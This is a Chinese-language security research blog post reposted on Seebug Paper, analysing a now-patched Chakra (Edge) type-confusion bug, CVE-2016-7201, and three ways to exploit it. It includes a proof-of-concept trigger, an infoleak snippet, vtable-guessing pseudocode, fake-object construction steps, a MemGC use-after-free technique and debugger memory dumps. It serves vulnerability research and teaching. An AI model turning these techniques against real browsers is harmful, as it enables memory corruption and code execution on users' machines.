原文鏈接:360安全衛士技術博客

文/holynop

前言

在過去的兩年里一直關注于瀏覽器方面的研究,主要以Fuzz為主,fuzzing在用戶態的漏洞挖掘中,無論是漏洞質量還是CVE產出一直效果不錯。直到一些大玩家的介入,以及大量的fuzzer在互聯網公開,尋找bug需要更苛刻的思路。后來Edge中使用的MemGC使fuzz方式找漏洞更加困難,fuzz出僅有的幾個能用的漏洞還總被其他人撞掉,因為大家的fuzzer是越長越像。于是今年上半年pwn2own之后開始更多的源碼審計并有了些效果,起初認為存量足夠了,但大概在7月份左右開始,手頭的bug以每月2+的速度被撞掉(MS、ChakraCodeTeam、ZDI、Natalie、360…),本文描述的bug也是其中一個。因為這個漏洞的利用方式還是比較有趣的,經歷了幾次改變,值得說一下。

The Bug

var intarr = new Array(1, 2, 3, 4, 5, 6, 7)
var arr = new Array(alert)
arr.length = 24
arr.__proto__ = new Proxy({}, {getPrototypeOf:function() {return intarr}})
arr.__proto__.reverse = Array.prototype.reverse
arr.reverse()

Root Cause

出問題的代碼如下:

有很多地方都引用了這樣的邏輯,JavascriptArray::EntryReverse只是其中的一個觸發路徑。開發人員默認了Array的類型,認為傳入ForEachOwnMissingArrayIndexOfObject

的prototype一定是Var Array,如下圖:

當然,通常一個Array賦值為proto時,會被默認轉化成Var Array,例如:

var x = {}
x.__proto__ = [1,2,3]

查看x的屬性:

0:009> dqs 0000022f`c251e920 l1
0000022f`c251e920 00007ffd`5b743740 chakra!Js::JavascriptArray::`vftable’
0:009> dq poi(0000022f`c251e920+28)
0000022f`c23b40a0 00000003`00000000 00000000`00000011
0000022f`c23b40b0 00000000`00000000 00010000`11111111
0000022f`c23b40c0 00010000`22222222 00010000`33333333
0000022f`c23b40d0 80000002`80000002 80000002`80000002

但ES6中Proxy的出現使代碼邏輯變得更復雜,很多假設也不見得正確了,

Proxy的原型如下

它可以監控很多類型的事件,換句話說,可以打斷一些操作過程,并處理我們自己的邏輯,返回我們自定義的數據。

其中有這樣的一個handler:

可以在prototype = prototype->GetPrototype();進入trap流程,進入我們自定義的JavaScript user callback中。

如果返回一個JavascriptNativeIntArray類型的Array,則會導致默認的假設不成立,從而出現各種問題。

其實不僅是JavascriptNativeIntArray類型,只要不是JavascriptArray類型的數組,

都會因為與期望不同而或多或少出現問題,比如

JavascriptNativeFloatArray
JavascriptCopyOnAccessNativeIntArray
ES5Array…

下面看看使用這種”混淆”的能力,我們能做些什么

首先重新總結下這個bug:

  1. 我們有兩個數組,Array_A和Array_B

  2. 在Array_B中用Var的方式(e.GetItem())取出一個item,放入Array_A中

  3. 兩個Array的類型可以隨意指定

可以進一步轉化成如下問題:

1.偽造對象:

Array_A為JavascriptArray類型

Array_B為 JavascriptNativeIntArray/JavascriptNativeFloatArray 等可以控制item數據

類型的數組,則

value = e.GetItem()
this->SetItem(index, value, PropertyOperation_None);

操作后,在Array_A[x]中可以偽造出指向任意地址的一個Object。

2.越界讀

Array_A為JavascriptArray類型

Array_B為JavascriptNativeIntArray類型

因為JavascriptNativeIntArray中元素的大小為4字節,所以通過Var的方式讀取會超過Array_B的邊界

為什么不在Array_A上做文章?

因為最終的賦值操作是通過SetItem完成的,即使Array_A初始化成 JavascriptNativeIntArray/JavascriptNativeFloatArray 等類型,最終還是會根據item的類型轉換為JavascriptArray類型。

下面進入漏洞利用的部分,一個漏洞的三種利用

0x1

最初對”越界讀”這個能力沒有什么進一步的利用思路,而當時手頭又有很多信息泄露的漏洞,于是exploit = leak + fakeObj

下面這個infoleak可以泄露任何對象的地址,當然已經被補掉了

function test() {
var x = []
var y = {}
var leakarr = new Array(1, 2, 3)
y.__defineGetter__(“1”, function(){x[2] = leakarr; return 0xdeadbeef})
x[0] = 1.1
x[2] = 2.2
x.__proto__ = y
function leak() {
alert(arguments[2])
}
leak.apply(1, x)
}

要在一個固定地址處偽造對象,我們需要兩個條件:

  1. 一個數據可控buffer的地址

  2. 虛表地址,也即chakra模塊基址

對于1可以選擇head和segment連在一起的Array

0000022f`c23b40a0 00007ffd`5b7433f0 0000022f`c2519c80
0000022f`c23b40b0 00000000`00000000 00000000`00000005
0000022f`c23b40c0 00000000`00000012 0000022f`c23b40e0
0000022f`c23b40d0 0000022f`c23b40e0 0000022f`c233c280
0000022f`c23b40e0 00000012`00000000 00000000`00000012
0000022f`c23b40f0 00000000`00000000 77777777`77777777
0000022f`c23b4100 77777777`77777777 77777777`77777777
0000022f`c23b4110 77777777`77777777 77777777`77777777
0000022f`c23b4120 77777777`77777777 77777777`77777777
0000022f`c23b4130 77777777`77777777 77777777`77777777

buffer地址為leak_arr_addr+0x58,但這個方案有個限制,初始元素個數不能超過SparseArraySegmentBase::HEAD_CHUNK_SIZE

相關代碼如下:

className* JavascriptArray::New(uint32 length, …)
if(length > SparseArraySegmentBase::HEAD_CHUNK_SIZE)
{
return RecyclerNew(recycler, className, length, arrayType);
}
…
array = RecyclerNewPlusZ(recycler, allocationPlusSize, className, length, arrayType);
SparseArraySegment<unitType> *head =
InitArrayAndHeadSegment<className, inlineSlots>(array, 0, alignedInlineElementSlots, true);

所以在偽造對象時需要精準利用有限的空間

對于條件2,可以在1的基礎上,偽造UInt64Number通過parseInt接口觸發JavascriptConversion::ToString來越界讀取后面的虛表,從而泄露chakra基址。

相關代碼如下:

JavascriptString *JavascriptConversion::ToString(Var aValue, …)
…
case TypeIds_UInt64Number:
{
unsigned __int64 value = JavascriptUInt64Number::FromVar(aValue)->GetValue();
if (!TaggedInt::IsOverflow(value))
{
return scriptContext->GetIntegerString((uint)value);
}
else
{
return JavascriptUInt64Number::ToString(aValue, scriptContext);
}
}

經過內存布局以及偽造Uint64Number,可以泄露出某個Array的vtable,如下:

最后,通過偽造Uint32Array來實現全地址讀寫,需要注意的是,一個Array.Segment的可控空間有限,無法寫下Uint32Array及ArrayBuffer的全部字段,但其實很多字段在AAW/AAR中不會使用,并且可以復用一些字段,實現起來沒有問題。

0x2

十月,能夠做信息泄露的最后幾個bug被Natalie撞掉…

于是有了下面的方案,配合越界讀的特性,只用這一個漏洞完成exploit.

JavaScript中的Array繼承自DynamicObject,其中有個字段auxSlots,如下:

class DynamicObject : public RecyclableObject
private:
Var* auxSlots;
…

通常情況auxSlots為NULL,例如:

var x = [1,2,3]

對應的Array頭部如下,auxSlots為0

000002e7`4c15a8b0 00007ffd`5b7433f0 000002e7`4c14b040
000002e7`4c15a8c0 00000000`00000000 00000000`00000005
000002e7`4c15a8d0 00000000`00000003 000002e7`4c15a8f0
000002e7`4c15a8e0 000002e7`4c15a8f0 000002e7`4bf6f4c0

當使用Symbol時會激活這個字段,例如:

var x = [1,2,3]
x[Symbol(‘duang’)] = 4
000002e7`4c152920 00007ffd`5b7433f0 000002e7`4c00ecc0
000002e7`4c152930 000002e7`4bfca5c0 00000000`00000005
000002e7`4c152940 00000000`00000003 000002e7`4c152960
000002e7`4c152950 000002e7`4c152960 000002e7`4bf6c0e0

auxSlots指向一個完全可控的Var數組

0:009> dq 000002e7`4bfca5c0
000002e7`4bfca5c0 00010000`00000004 00000000`00000000
000002e7`4bfca5d0 00000000`00000000 00000000`00000000

基于這個數據結構,有了如下的方案:

  1. 布局內存,使Array連續排列,并激活auxSlots字段

  2. 用越界讀的特性,讀出下一個Array的auxSlots并存入Array_A中

  3. Array_A[x]成為偽造的對象,對象數據即為auxSlots,完全可控

在沒有信息泄露的情況下,偽造一個對象需要面臨的問題是”指針”,比如

– 虛表

– Type * type字段

對于虛表,可以用枚舉結合特定函數的方式,”猜”出vtable的值

bool JavascriptArray::IsDirectAccessArray(Var aValue)
{
return RecyclableObject::Is(aValue) &&
(VirtualTableInfo<JavascriptArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeIntArray>::HasVirtualTable(aValue) ||
VirtualTableInfo<JavascriptNativeFloatArray>::HasVirtualTable(aValue));
}

在IsDirectAccessArray中會很干凈的判斷aValue指向的數據是否為特定的vtable,不會操作其他字段,返回結果為TRUE或FALSE。在JavascriptArray::ConcatArgs中引用了IsDirectAccessArray這個函數,并且根據它的返回結果進入不同的處理流程,最終IsDirectAccessArray的返回值可以在js層面被間接的探知到。

偽代碼:

for (addr = offset_arrVtable; addr < 0xffffffffffff; addr += 0x10000) {
auxSlots[0] = addr
if (guess()) {
chakra_base = addr – offset_arrVtable
break
}
}

下一步需要偽造Type * type這個指針字段,Type結構如下:

class Type
{
friend class DynamicObject;
friend class GlobalObject;
friend class ScriptEngineBase;
protected:
TypeId typeId;
TypeFlagMask flags;
JavascriptLibrary* javascriptLibrary;
RecyclableObject* prototype;
…
}

其中最重要的是typeId字段,它指定了Object的類型

TypeIds_Array = 28,
TypeIds_ArrayFirst = TypeIds_Array,
TypeIds_NativeIntArray = 29,
#if ENABLE_COPYONACCESS_ARRAY
TypeIds_CopyOnAccessNativeIntArray = 30,
#endif
TypeIds_NativeFloatArray = 31,

因為我們已經知道了chakra的基址,所以只要在模塊內找到一個數字為29的地方即可

type_addr = chakra_base + offset_value_29

最終,我們可以偽造出一個自定義的Array,進而實現AAR/AAW

0x3

目前Edge瀏覽器中關鍵的對象都是通過MemGC維護,和單純的引用計數不同,MemGC會自動掃描對象間的依賴關系,從根本上終結了UAF類型的漏洞…

然而,真的是這樣完美嗎? 被MemGC保護的對象不會出現UAF嗎?

有幾種情況是MemGC保護不周的,其中的一種情況如下:

如圖,這是一個普通的由MemGC維護的對象,addr_A指向object的頭部,addr_B指向內部中間的某個位置。

Object2是另外一個由GC維護的對象,在其中有Object1的引用addr_A

此時,如果在js層面free掉Object1,并且觸發CollectGarbage,會發現它并沒有真的被釋放。

然而,如果這樣

Object2中引用的是Object1.addr_B,Object1便可以被正常釋放掉,從而出現一個指向Object1內部的懸掛指針。

再通過spray等占位的方法,就可以使用Object2訪問freed的內容,實現UAF利用。

構造UAF的流程如下:

1.分配由MemGC維護的Object1:

0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777
000002e7`4bfe7e40 77777777`77777777 77777777`77777777
000002e7`4bfe7e50 77777777`77777777 77777777`77777777

2.分配由MemGC維護的Object2,其中有Object1+XXX位置的引用:

0:023> dq 000002e7`4bfe40a0
000002e7`4bfe40a0 00000003`00000000 00000000`00000011
000002e7`4bfe40b0 00000000`00000000 000002e7`4c063950
000002e7`4bfe40c0 000002e7`4bfe7de8 00010000`00000003
000002e7`4bfe40d0 80000002`80000002 80000002`80000002
000002e7`4bfe40e0 80000002`80000002 80000002`80000002
000002e7`4bfe40f0 80000002`80000002 80000002`80000002
000002e7`4bfe4100 80000002`80000002 80000002`80000002
000002e7`4bfe4110 80000002`80000002 80000002`80000002

3.釋放Object1,并且觸發CollectGarbage,可以看到被鏈入freelist:

0:023> dq 000002e7`4bfe7de0
000002e7`4bfe7de0 000002e7`4bfe7d41 00000000`00000000
000002e7`4bfe7df0 00000000`00000000 00000000`00000000
000002e7`4bfe7e00 00000000`00000000 00000000`00000000
000002e7`4bfe7e10 00000000`00000000 00000000`00000000
000002e7`4bfe7e20 00000000`00000000 00000000`00000000
000002e7`4bfe7e30 00000000`00000000 00000000`00000000
000002e7`4bfe7e40 00000000`00000000 00000000`00000000
000002e7`4bfe7e50 00000000`00000000 00000000`00000000

4.使用Object2引用釋放的Object1:

0:023> dq (000002e7`4bfe40a0+0x20) l1
000002e7`4bfe40c0 000002e7`4bfe7de8

要把我們的bug轉換成UAF,需要完成兩件事情

1.找到一個對象的”內部指針”

2.將這個指針緩存,并可以通過JS層面引用

對于1,可以使用Head與Segment連在一起的Array

000002e7`4bfe7de0 00007ffd`5b7433f0 000002e7`4bfa1380
000002e7`4bfe7df0 00000000`00000000 00000000`00000005
000002e7`4bfe7e00 00000000`00000010 000002e7`4bfe7e20 //指向對象內部的指針
000002e7`4bfe7e10 000002e7`4bfe7e20 000002e7`4bf6c6a0
000002e7`4bfe7e20 00000010`00000000 00000000`00000012
000002e7`4bfe7e30 00000000`00000000 77777777`77777777

對于2,可以通過越界讀的能力,將這個指針讀入我們可控的Array

現在我們造出了一個UAF,接下來用什么數據結構來填充?

NativeIntArray/NativeFloatArray顯然不可以,雖然數據完全可控,但目前我們無法做到信息泄露,所以數據也不知道填什么。

最后我選擇了JavaScriptArray,后面會講為何這樣選擇。

最終的UAF用JavaScriptArray占位成功后效果如下:

//before free&spray

0000025d`f0296a80 00007ffe`dd2b33f0 0000025d`f0423040
0000025d`f0296a90 00000000`00000000 00000000`00030005
0000025d`f0296aa0 00000000`00000010 0000025d`f0296ac0
0000025d`f0296ab0 0000025d`f0296ac0 0000025d`f021cc80
0000025d`f0296ac0 00000010`00000000 00000000`00000012
0000025d`f0296ad0 00000000`00000000 77777777`77777777
0000025d`f0296ae0 77777777`77777777 77777777`77777777
0000025d`f0296af0 77777777`77777777 77777777`77777777
0000025d`f0296b00 77777777`77777777 77777777`77777777
0000025d`f0296b10 77777777`77777777 77777777`77777777

//after free&spray

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000
0000025d`f0296ae0 66666666 00010000 66666666 00010000
0000025d`f0296af0 66666666 00010000 66666666 00010000
0000025d`f0296b00 66666666 00010000 66666666 00010000
0000025d`f0296b10 66666666 00010000 66666666 00010000

下面說下為何用JavaScriptArray占位。

因為Var Array可以存放對象,而判斷是否為對象僅僅測試48位是否為0

(((uintptr_t)aValue) >> VarTag_Shift) == 0

所以對于虛表、指針等都可以當做對象以原始形態存入Var Array,這對直接偽造出一個Object來說是極好的。

具體步驟如下:

1.通過越界讀,讀出下一個Array的vtable、type、segment三個字段。此時我們不知道它們具體的數值是多少,是作為對象緩存的

var JavascriptNativeIntArray_segment = objarr[0]
var JavascriptNativeIntArray_type = objarr[5]
var JavascriptNativeIntArray_vtable = objarr[6]

2.構造UAF,并用fakeobj_vararr占位

0000025d`f0296a80 00000000 00000011 00000011 00000000
0000025d`f0296a90 00000000 00000000 66666666 00010000
0000025d`f0296aa0 66666666 00010000 66666666 00010000
0000025d`f0296ab0 66666666 00010000 66666666 00010000
0000025d`f0296ac0 >66666666 00010000 66666666 00010000
0000025d`f0296ad0 66666666 00010000 66666666 00010000

3.偽造對象

之前緩存的”內部指針”JavascriptNativeIntArray_segment指向的位置,對應fakeobj_vararr第五個元素的位置,如上所示

所以:

fakeobj_vararr[5] = JavascriptNativeIntArray_vtable
fakeobj_vararr[6] = JavascriptNativeIntArray_type
fakeobj_vararr[7] = 0
fakeobj_vararr[8] = 0x00030005
fakeobj_vararr[9] = 0x1234
fakeobj_vararr[10] = uint32arr
fakeobj_vararr[11] = uint32arr
fakeobj_vararr[12] = uint32arr

4.訪問偽造的對象

alert(JavascriptNativeIntArray_segment.length)

Exploit:

總結

本文描述了一些chakra腳本引擎中漏洞利用的技巧,分為三種不同的利用方式來體現,三種方式并不獨立,可以融合成一個更精簡穩定的exploit。所描述的bug最終在十一月補丁日,pwnfest前一天,同樣被Natalie撞掉了,對應的信息為CVE-2016-7201,比賽最終使用的漏洞及利用方式,會在微軟完成修補后討論。

有問題,可以聯系我:

Weibo:@holynop


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/131/